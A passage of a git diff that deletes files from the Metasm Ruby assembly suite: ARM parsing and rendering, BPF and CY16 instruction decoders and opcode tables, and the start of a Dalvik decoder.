stmea - addop_t 'ldmia', 0b11001 << 11, :rn, :rlist # ldmfd - addop_t 'undef', 0b1101_1110 << 8, :i8 - addop_t 'svc', 0b1101_1111 << 8, :i8 - addop_t 'b', 0b1101 << 12, :cond, :i8 - addop_t 'b', 0b11100 << 11, :i11 - - # thumb-32 - end - - def init_arm_v6_thumb2 - init_arm_v6 - init_arm_thumb2 - end - alias init_latest init_arm_v6_thumb2 -end -end diff --git a/lib/metasm/metasm/cpu/arm/parse.rb b/lib/metasm/metasm/cpu/arm/parse.rb deleted file mode 100644 index 2a1bdfe44c..0000000000 --- a/lib/metasm/metasm/cpu/arm/parse.rb +++ /dev/null @@ -1,142 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/arm/opcodes' -require 'metasm/parse' - -module Metasm -class ARM - def opcode_list_byname - @opcode_list_byname ||= opcode_list.inject({}) { |h, o| - (h[o.name] ||= []) << o - if o.props[:cond] - coff = o.props[:cond_name_off] || o.name.length - %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].each { |cd| - n = o.name.dup - n[coff, 0] = cd - (h[n] ||= []) << o - } - end - h - } - end - - def parse_arg_valid?(op, sym, arg) - case sym - when :rd, :rs, :rn, :rm; arg.kind_of?(Reg) and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) - when :rm_rs; arg.kind_of?(Reg) and arg.shift.kind_of?(Reg) - when :rm_is; arg.kind_of?(Reg) and arg.shift.kind_of?(Integer) - when :i12, :i24, :i8_12; arg.kind_of?(Expression) - when :i8_r - if arg.kind_of?(Expression) - b = arg.reduce - !b.kind_of?(Integer) or (0..15).find { - b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) - b < 0x100 } - end - when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - os = case sym - when :mem_rn_rm; :rm - when :mem_rn_i8_12; :i8_12 - when :mem_rn_rms; :rm_rs - when :mem_rn_i12; :i12 - end - arg.kind_of?(Memref) and parse_arg_valid?(op, os, arg.offset) - when :reglist; arg.kind_of?(RegList) - end - # TODO check flags on reglist, check int values - end - - def parse_argument(lexer) - raise lexer, "unexpected EOS" if not lexer.nexttok - if Reg.s_to_i[lexer.nexttok.raw] - arg = Reg.new Reg.s_to_i[lexer.readtok.raw] - lexer.skip_space - case lexer.nexttok.raw.downcase - when 'lsl', 'lsr', 'asr', 'ror' - arg.stype = lexer.readtok.raw.downcase.to_sym - lexer.skip_space - if Reg.s_to_i[lexer.nexttok.raw] - arg.shift = Reg.new Reg.s_to_i[lexer.readtok.raw] - else - arg.shift = Expression.parse(lexer).reduce - end - when 'rrx' - lexer.readtok - arg.stype = :ror - when '!' - lexer.readtok - arg.updated = true - end if lexer.nexttok - elsif lexer.nexttok.raw == '{' - lexer.readtok - arg = RegList.new - loop do - lexer.skip_space - raise "unterminated reglist" if lexer.eos? - if Reg.s_to_i[lexer.nexttok.raw] - arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw]) - lexer.skip_space - raise "unterminated reglist" if lexer.eos? - end - case lexer.nexttok.raw - when ','; lexer.readtok - when '-' - lexer.readtok - lexer.skip_space - raise "unterminated reglist" if lexer.eos? - if not r = Reg.s_to_i[lexer.nexttok.raw] - raise lexer, "reglist parse error: invalid range" - end - lexer.readtok - (arg.list.last.i+1..r).each { |v| - arg.list << Reg.new(v) - } - when '}'; lexer.readtok ; break - else raise lexer, "reglist parse error: ',' or '}' expected, got #{lexer.nexttok.raw.inspect}" - end - end - if lexer.nexttok and lexer.nexttok.raw == '^' - lexer.readtok - arg.usermoderegs = true - end - elsif lexer.nexttok.raw == '[' - lexer.readtok - raise "unexpected EOS" if lexer.eos? - if not base = Reg.s_to_i[lexer.nexttok.raw] - raise lexer, 'invalid mem base (reg expected)' - end - base = Reg.new Reg.s_to_i[lexer.readtok.raw] - raise "unexpected EOS" if lexer.eos? - if lexer.nexttok.raw == ']' - lexer.readtok - #closed = true - end - if !lexer.nexttok or lexer.nexttok.raw != ',' - raise lexer, 'mem off expected' - end - lexer.readtok - off = parse_argument(lexer) - if not off.kind_of?(Expression) and not off.kind_of?(Reg) - raise lexer, 'invalid mem off (reg/imm expected)' - end - case lexer.nexttok and lexer.nexttok.raw - when ']' - when ',' - end - lexer.readtok - arg = Memref.new(base, off) - if lexer.nexttok and lexer.nexttok.raw == '!' - lexer.readtok - arg.incr = :pre # TODO :post - end - else - arg = Expression.parse lexer - end - arg - end -end -end diff --git a/lib/metasm/metasm/cpu/arm/render.rb b/lib/metasm/metasm/cpu/arm/render.rb deleted file mode 100644 index a39e808752..0000000000 --- a/lib/metasm/metasm/cpu/arm/render.rb +++ /dev/null @@ -1,55 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/render' -require 'metasm/cpu/arm/opcodes' - -module Metasm -class ARM - class Reg - include Renderable - def render - r = self.class.i_to_s[@i] - r += '!' if updated - if @stype == :lsl and @shift == 0 - [r] - elsif @stype == :ror and @shift == 0 - ["#{r} RRX"] - else - case s = @shift - when Integer; s = Expression[s == 0 ? 32 : s] # lsl and ror already accounted for - when Reg; s = self.class.i_to_s[s.i] - end - ["#{r} #{@stype.to_s.upcase} #{s}"] - end - end - end - - class Memref - include Renderable - def render - o = @offset - o = Expression[o] if o.kind_of? Integer - case @incr - when nil; ['[', @base, ', ', o, ']'] - when :pre; ['[', @base, ', ', o, ']!'] - when :post; ['[', @base, '], ', o] - end - end - end - - class RegList - include Renderable - def render - r = ['{'] - @list.each { |l| r << l << ', ' } - r[-1] = '}' - r << '^' if usermoderegs - r - end - end -end -end - diff --git a/lib/metasm/metasm/cpu/bpf.rb b/lib/metasm/metasm/cpu/bpf.rb deleted file mode 100644 index 58a22abf0c..0000000000 --- a/lib/metasm/metasm/cpu/bpf.rb +++ /dev/null @@ -1,9 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/bpf/decode' -require 'metasm/cpu/bpf/render' diff --git a/lib/metasm/metasm/cpu/bpf/decode.rb b/lib/metasm/metasm/cpu/bpf/decode.rb deleted file mode 100644 index 30451389fc..0000000000 --- a/lib/metasm/metasm/cpu/bpf/decode.rb +++ /dev/null @@ -1,142 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/bpf/opcodes' -require 'metasm/decode' - -module Metasm -class BPF - def build_bin_lookaside - opcode_list.inject({}) { |h, op| h.update op.bin => op } - end - - # tries to find the opcode encoded at edata.ptr - def decode_findopcode(edata) - return if edata.ptr > edata.data.length-8 - di = DecodedInstruction.new self - code = edata.data[edata.ptr, 2].unpack('v')[0] - return di if di.opcode = @bin_lookaside[code] - end - - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - di.bin_length = 8 - code, jt, jf, k = edata.read(8).unpack('vCCV') - - op.args.each { |a| - di.instruction.args << case a - when :k; Expression[k] - when :x; Reg.new(:x) - when :a; Reg.new(:a) - when :len; Reg.new(:len) - when :p_k; PktRef.new(nil, Expression[k], op.props[:msz]) - when :p_xk; PktRef.new(Reg.new(:x), Expression[k], op.props[:msz]) - when :m_k; MemRef.new(nil, Expression[4*k], 4) - when :jt; Expression[jt] - when :jf; Expression[jf] - else raise "unhandled arg #{a}" - end - } - - # je a, x, 0, 12 -> jne a, x, 12 - # je a, x, 12, 0 -> je a, x, 12 - if op.args[2] == :jt and di.instruction.args[2] == Expression[0] - di.opcode = op.dup - di.opcode.props.delete :stopexec - di.instruction.opname = { 'jg' => 'jle', 'jge' => 'jl', 'je' => 'jne', 'jtest' => 'jntest' }[di.instruction.opname] - di.instruction.args.delete_at(2) - elsif op.args[3] == :jf and di.instruction.args[3] == Expression[0] - di.opcode = op.dup - di.opcode.props.delete :stopexec - di.instruction.args.delete_at(3) - end - - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] - delta = di.instruction.args[-1].reduce + 1 - arg = Expression[addr, :+, 8*delta].reduce - di.instruction.args[-1] = Expression[arg] - - if di.instruction.args.length == 4 - delta = di.instruction.args[2].reduce + 1 - arg = Expression[addr, :+, 8*delta].reduce - di.instruction.args[2] = Expression[arg] - end - end - - di - end - - # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - # populate the @backtrace_binding hash with default values - def init_backtrace_binding - @backtrace_binding ||= {} - - opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| - binding = case op - when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'add'; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } } - when 'sub'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } } - when 'mul'; lambda { |di, a0, a1| { a0 => Expression[a0, :*, a1] } } - when 'div'; lambda { |di, a0, a1| { a0 => Expression[a0, :/, a1] } } - when 'shl'; lambda { |di, a0, a1| { a0 => Expression[a0, :<<, a1] } } - when 'shr'; lambda { |di, a0, a1| { a0 => Expression[a0, :>>, a1] } } - when 'neg'; lambda { |di, a0| { a0 => Expression[:-, a0] } } - when 'msh'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xf], :<<, 2] } } - when 'jmp', 'jg', 'jge', 'je', 'jtest', 'ret'; lambda { |di, *a| { } } - end - @backtrace_binding[op] ||= binding if binding - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when PktRef, MemRef, Reg; arg.symbolic(di) - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - {:incomplete_binding => Expression[1]} - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - if di.instruction.args.length == 4 - di.instruction.args[-2, 2] - else - di.instruction.args[-1, 1] - end - end - - # updates an instruction's argument replacing an expression with another (eg label renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/bpf/main.rb b/lib/metasm/metasm/cpu/bpf/main.rb deleted file mode 100644 index b070065cd7..0000000000 --- a/lib/metasm/metasm/cpu/bpf/main.rb +++ /dev/null @@ -1,60 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class BPF < CPU - class Reg - attr_accessor :v - def initialize(v) - @v = v - end - - def symbolic(orig=nil) ; @v ; end - end - - class MemRef - attr_accessor :base, :offset, :msz - - def memtype - :mem - end - - def initialize(base, offset, msz) - @base = base - @offset = offset - @msz = msz - end - - def symbolic(orig) - p = Expression[memtype] - p = Expression[p, :+, @base.symbolic] if base - p = Expression[p, :+, @offset] if offset - Indirection[p, @msz, orig] - end - end - - class PktRef < MemRef - def memtype - :pkt - end - end - - def initialize(family = :latest) - super() - @endianness = :big - @size = 32 - @family = family - end - - def init_opcode_list - send("init_#@family") - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/bpf/opcodes.rb b/lib/metasm/metasm/cpu/bpf/opcodes.rb deleted file mode 100644 index 35a55eb0b7..0000000000 --- a/lib/metasm/metasm/cpu/bpf/opcodes.rb +++ /dev/null @@ -1,81 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/bpf/main' - -module Metasm - -class BPF - def addop(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @valid_args[a] - o.props.update a if a.kind_of?(::Hash) - } - @opcode_list << o - end - - def addop_ldx(bin, src) - addop 'mov', bin | 0x00, :a, src - addop 'mov', bin | 0x01, :x, src - end - - def addop_ldsz(bin, src) - addop 'mov', bin | 0x00, :a, src, :msz => 4 - addop 'mov', bin | 0x08, :a, src, :msz => 2 - addop 'mov', bin | 0x10, :a, src, :msz => 1 - end - - def addop_alu(name, bin) - addop name, bin | 0x04, :a, :k - addop name, bin | 0x0C, :a, :x - end - - def addop_j(name, bin) - addop name, bin | 0x05 | 0x00, :a, :k, :jt, :jf, :setip => true, :stopexec => true - addop name, bin | 0x05 | 0x08, :a, :x, :jt, :jf, :setip => true, :stopexec => true - end - - def init_bpf - @opcode_list = [] - [:a, :k, :x, :len, :m_k, :p_k, :p_xk, :jt, :jf].each { |a| @valid_args[a] = true } - - # LD/ST - addop_ldx 0x00, :k - addop_ldsz 0x20, :p_k - addop_ldsz 0x40, :p_xk - addop_ldx 0x60, :m_k - addop_ldx 0x80, :len - addop 'msh', 0xB1, :x, :p_k, :msz => 1 - addop 'mov', 0x02, :m_k, :a - addop 'mov', 0x03, :m_k, :x - - # ALU - addop_alu 'add', 0x00 - addop_alu 'sub', 0x10 - addop_alu 'mul', 0x20 - addop_alu 'div', 0x30 - addop_alu 'or', 0x40 - addop_alu 'and', 0x50 - addop_alu 'shl', 0x60 - addop_alu 'shr', 0x70 - addop 'neg', 0x84, :a - - # JMP - addop 'jmp', 0x05, :k, :setip => true, :stopexec => true - addop_j 'je', 0x10 - addop_j 'jg', 0x20 - addop_j 'jge', 0x30 - addop_j 'jtest',0x40 - addop 'ret', 0x06, :k, :stopexec => true - addop 'ret', 0x16, :a, :stopexec => true - - addop 'mov', 0x07, :x, :a - addop 'mov', 0x87, :a, :x - end - - alias init_latest init_bpf -end -end diff --git a/lib/metasm/metasm/cpu/bpf/render.rb b/lib/metasm/metasm/cpu/bpf/render.rb deleted file mode 100644 index 1b4a68a27a..0000000000 --- a/lib/metasm/metasm/cpu/bpf/render.rb +++ /dev/null @@ -1,41 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/bpf/opcodes' -require 'metasm/render' - -module Metasm -class BPF - class Reg - include Renderable - def render ; [@v.to_s] end - end - class MemRef - include Renderable - def render - r = [] - r << memtype - r << [nil, ' byte ', ' word ', nil, ' dword '][@msz] - r << '[' - r << @base if @base - r << '+' if @base and @offset - r << @offset if @offset - r << ']' - end - end - - def render_instruction(i) - r = [] - r << i.opname - if not i.args.empty? - r << ' ' - i.args.each { |a_| r << a_ << ', ' } - r.pop - end - r - end -end -end diff --git a/lib/metasm/metasm/cpu/cy16.rb b/lib/metasm/metasm/cpu/cy16.rb deleted file mode 100644 index bee7099f2e..0000000000 --- a/lib/metasm/metasm/cpu/cy16.rb +++ /dev/null @@ -1,9 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/cy16/decode' -require 'metasm/cpu/cy16/render' diff --git a/lib/metasm/metasm/cpu/cy16/decode.rb b/lib/metasm/metasm/cpu/cy16/decode.rb deleted file mode 100644 index c3bc9a5812..0000000000 --- a/lib/metasm/metasm/cpu/cy16/decode.rb +++ /dev/null @@ -1,253 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/cy16/opcodes' -require 'metasm/decode' - -module Metasm -class CY16 - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = 0 - op.fields.each { |f, off| - op.bin_mask |= (@fields_mask[f] << off) - } - op.bin_mask ^= 0xffff - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - build_opcode_bin_mask op - b = (op.bin >> 8) & 0xff - msk = (op.bin_mask >> 8) & 0xff - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b & msk - end - } - lookaside - end - - def decode_findopcode(edata) - di = DecodedInstruction.new self - return if edata.ptr+2 > edata.length - bin = edata.decode_imm(:u16, @endianness) - edata.ptr -= 2 - return di if di.opcode = @bin_lookaside[(bin >> 8) & 0xff].find { |op| - bin & op.bin_mask == op.bin & op.bin_mask - } - end - - - def decode_instr_op_r(val, edata) - bw = ((val & 0b1000) > 0 ? 1 : 2) - case val & 0b11_0000 - when 0b00_0000 - Reg.new(val) - when 0b01_0000 - if val == 0b01_1111 - Expression[edata.decode_imm(:u16, @endianness)] - else - Memref.new(Reg.new(8+(val&7)), nil, bw) - end - when 0b10_0000 - if val & 7 == 7 - Memref.new(nil, edata.decode_imm(:u16, @endianness), bw) - else - Memref.new(Reg.new(8+(val&7)), nil, bw, true) - end - when 0b11_0000 - Memref.new(Reg.new(8+(val&7)), edata.decode_imm(:u16, @endianness), bw) - end - - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bin = edata.decode_imm(:u16, @endianness) - - field_val = lambda { |f| - if off = op.fields[f] - (bin >> off) & @fields_mask[f] - end - } - - op.args.each { |a| - di.instruction.args << case a - when :rs, :rd; decode_instr_op_r(field_val[a], edata) - when :o7; Expression[2*Expression.make_signed(field_val[a], 7)] - when :x7; Expression[field_val[a]] - when :u3; Expression[field_val[a]+1] - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.instruction.args.reverse! - - di.bin_length += edata.ptr - before_ptr - - di - rescue InvalidRD - end - - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.opcode.args.last == :o7 - delta = di.instruction.args.last.reduce - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - # populate the @backtrace_binding hash with default values - def init_backtrace_binding - @backtrace_binding ||= {} - - mask = 0xffff - - opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| - binding = case op - when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or', 'addi', 'subi' - lambda { |di, a0, a1| - e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, - 'xor' => :^, 'or' => :|, 'addi' => :+, 'subi' => :- }[op] - ret = Expression[a0, e_op, a1] - ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbb' - # optimises eax ^ eax => 0 - # avoid hiding memory accesses (to not hide possible fault) - ret = Expression[ret.reduce] if not a0.kind_of? Indirection - { a0 => ret } - } - when 'cmp', 'test'; lambda { |di, *a| {} } - when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } - when 'call' - lambda { |di, a0| { :sp => Expression[:sp, :-, 2], - Indirection[:sp, 2, di.address] => Expression[di.next_addr] } - } - when 'ret'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } - # TODO callCC, retCC ... - when /^j/; lambda { |di, *a| {} } - end - - # TODO flags ? - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref, Reg; arg.symbolic(di) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = {} - di.instruction.args.each { |aa| bd[aa.base.symbolic] = Expression[aa.base.symbolic, :+, aa.sz] if aa.kind_of?(Memref) and aa.autoincr } - bd.update binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - end - - # patch a forward binding from the backtrace binding - def fix_fwdemu_binding(di, fbd) - case di.opcode.name - when 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) - end - fbd - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - return [Indirection[:sp, 2, di.address]] if di.opcode.name =~ /^r/ - - case tg = di.instruction.args.first - when Memref; [Expression[tg.symbolic(di)]] - when Reg; [Expression[tg.symbolic(di)]] - when Expression, ::Integer; [Expression[tg]] - else - puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG - [] - end - end - - # checks if expr is a valid return expression matching the :saveip instruction - def backtrace_is_function_return(expr, di=nil) - expr = Expression[expr].reduce_rec - expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] - end - - # updates the function backtrace_binding - # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - b[r] = Expression::Unknown - bt = [] - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, - :snapshot_addr => faddr, :origin => retaddr) - } - if bt.length != 1 - b[r] = Expression::Unknown - else - b[r] = bt.first - end - } - - if not wantregs.empty? - wantregs.each(&bt_val) - else - bt_val[:sp] - end - - b - end - - # returns true if the expression is an address on the stack - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include?(:sp) - end - - # updates an instruction's argument replacing an expression with another (eg label renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset - a - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/cy16/main.rb b/lib/metasm/metasm/cpu/cy16/main.rb deleted file mode 100644 index 704bda76c5..0000000000 --- a/lib/metasm/metasm/cpu/cy16/main.rb +++ /dev/null @@ -1,63 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class CY16 < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = (0..14).inject({}) { |h, i| h.update i => "r#{i}" } - @i_to_s[15] = 'sp' - @s_to_i = @i_to_s.invert - - attr_accessor :i - def initialize(i) - @i = i - end - - def symbolic(orig=nil) ; to_s.to_sym ; end - - def self.from_str(s) - raise "Bad name #{s.inspect}" if not x = @s_to_i[s] - new(x) - end - end - - class Memref - attr_accessor :base, :offset, :sz, :autoincr - def initialize(base, offset, sz=nil, autoincr=nil) - @base = base - offset = Expression[offset] if offset - @offset = offset - @sz = sz - @autoincr = autoincr - end - - def symbolic(orig) - p = nil - p = Expression[p, :+, @base.symbolic] if base - p = Expression[p, :+, @offset] if offset - Indirection[p.reduce, @sz, orig] - end - end - - def initialize(family = :latest) - super() - @endianness = :little - @size = 16 - @family = family - end - - def init_opcode_list - send("init_#@family") - @opcode_list - end -end -end - diff --git a/lib/metasm/metasm/cpu/cy16/opcodes.rb b/lib/metasm/metasm/cpu/cy16/opcodes.rb deleted file mode 100644 index 1fb20e4953..0000000000 --- a/lib/metasm/metasm/cpu/cy16/opcodes.rb +++ /dev/null @@ -1,78 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/cy16/main' - -module Metasm - -class CY16 - def addop(name, bin, *args) - o = Opcode.new name, bin - args.each { |a| - o.args << a if @fields_mask[a] or @valid_args[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = @fields_shift[a] if @fields_mask[a] - raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] - } - @opcode_list << o - end - - def addop_macrocc(name, bin, *args) - %w[z nz b ae s ns o no a be g ge l le].each_with_index { |cc, i| - dbin = bin - dbin |= i << 8 - addop name + cc, dbin, *args - } - end - - def init_cy16 - @opcode_list = [] - @valid_args.update [:rs, :rd, :o7 - ].inject({}) { |h, v| h.update v => true } - @fields_mask.update :rs => 0x3f, :rd => 0x3f, :o7 => 0x7f, :x7 => 0x7f, :u3 => 7 - @fields_shift.update :rs => 6, :rd => 0, :o7 => 0, :x7 => 0, :u3 => 6 - - addop 'mov', 0<<12, :rs, :rd - addop 'add', 1<<12, :rs, :rd - addop 'adc', 2<<12, :rs, :rd - addop 'addc',2<<12, :rs, :rd - addop 'sub', 3<<12, :rs, :rd - addop 'sbb', 4<<12, :rs, :rd - addop 'subb',4<<12, :rs, :rd - addop 'cmp', 5<<12, :rs, :rd - addop 'and', 6<<12, :rs, :rd - addop 'test',7<<12, :rs, :rd - addop 'or', 8<<12, :rs, :rd - addop 'xor', 9<<12, :rs, :rd - - addop_macrocc 'int', (10<<12), :x7 - addop 'int', (10<<12) | (15<<8), :x7 - addop_macrocc 'c', (10<<12) | (1<<7), :setip, :saveip, :rd - addop 'call',(10<<12) | (15<<8) | (1<<7), :setip, :stopexec, :saveip, :rd - addop_macrocc 'r', (12<<12) | (1<<7) | 0b010111, :setip # must come before absolute jmp - addop 'ret', (12<<12) | (15<<8) | (1<<7) | 0b010111, :setip, :stopexec - addop_macrocc 'j', (12<<12), :setip, :o7 # relative - addop 'jmp', (12<<12) | (15<<8), :setip, :stopexec, :o7 # relative - addop_macrocc 'j', (12<<12) | (1<<7), :setip, :rd # absolute - addop 'jmp', (12<<12) | (15<<8) | (1<<7), :setip, :stopexec, :rd # absolute - - addop 'shr', (13<<12) | (0<<9), :u3, :rd - addop 'shl', (13<<12) | (1<<9), :u3, :rd - addop 'ror', (13<<12) | (2<<9), :u3, :rd - addop 'rol', (13<<12) | (3<<9), :u3, :rd - addop 'addi',(13<<12) | (4<<9), :u3, :rd - addop 'subi',(13<<12) | (5<<9), :u3, :rd - addop 'not', (13<<12) | (7<<9) | (0<<6), :rd - addop 'neg', (13<<12) | (7<<9) | (1<<6), :rd - addop 'cbw', (13<<12) | (7<<9) | (4<<6), :rd - addop 'sti', (13<<12) | (7<<9) | (7<<6) | 0 - addop 'cli', (13<<12) | (7<<9) | (7<<6) | 1 - addop 'stc', (13<<12) | (7<<9) | (7<<6) | 2 - addop 'clc', (13<<12) | (7<<9) | (7<<6) | 3 - end - - alias init_latest init_cy16 -end -end diff --git a/lib/metasm/metasm/cpu/cy16/render.rb b/lib/metasm/metasm/cpu/cy16/render.rb deleted file mode 100644 index 2c2a680435..0000000000 --- a/lib/metasm/metasm/cpu/cy16/render.rb +++ /dev/null @@ -1,41 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/cy16/opcodes' -require 'metasm/render' - -module Metasm -class CY16 - class Reg - include Renderable - def render ; [self.class.i_to_s[@i]] end - end - class Memref - include Renderable - def render - r = [] - r << (@sz == 1 ? 'byte ptr ' : 'word ptr ') - r << '[' - r << @base if @base - r << '++' if @autoincr - r << ' + ' if @base and @offset - r << @offset if @offset - r << ']' - end - end - - def render_instruction(i) - r = [] - r << i.opname - if not i.args.empty? - r << ' ' - i.args.each { |a_| r << a_ << ', ' } - r.pop - end - r - end -end -end diff --git a/lib/metasm/metasm/cpu/dalvik.rb b/lib/metasm/metasm/cpu/dalvik.rb deleted file mode 100644 index e4c7b4eb61..0000000000 --- a/lib/metasm/metasm/cpu/dalvik.rb +++ /dev/null @@ -1,11 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -class Metasm::Dalvik < Metasm::CPU -end - -require 'metasm/main' -require 'metasm/cpu/dalvik/decode' diff --git a/lib/metasm/metasm/cpu/dalvik/decode.rb b/lib/metasm/metasm/cpu/dalvik/decode.rb deleted file mode 100644 index a52257b797..0000000000 --- a/lib/metasm/metasm/cpu/dalvik/decode.rb +++ /dev/null @@ -1,218 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/dalvik/opcodes' -require 'metasm/decode' - -module Metasm -class Dalvik - def build_bin_lookaside - end - - def decode_findopcode(edata) - return if edata.ptr+2 > edata.length - di = DecodedInstruction.new(self) - di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff] - edata.ptr -= 2 - di - end - - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - - val = [edata.decode_imm(:u16, @endianness)] - - op.args.each { |a| - di.instruction.args << case a - when :i16 - val << edata.decode_imm(:i16, @endianness) - Expression[val.last] - when :u16 - val << edata.decode_imm(:u16, @endianness) - Expression[val.last] - when :r16 - val << edata.decode_imm(:u16, @endianness) - Reg.new(val.last) - when :i16_32hi - val << edata.decode_imm(:i16, @endianness) - Expression[val.last << 16] - when :i16_64hi - val << 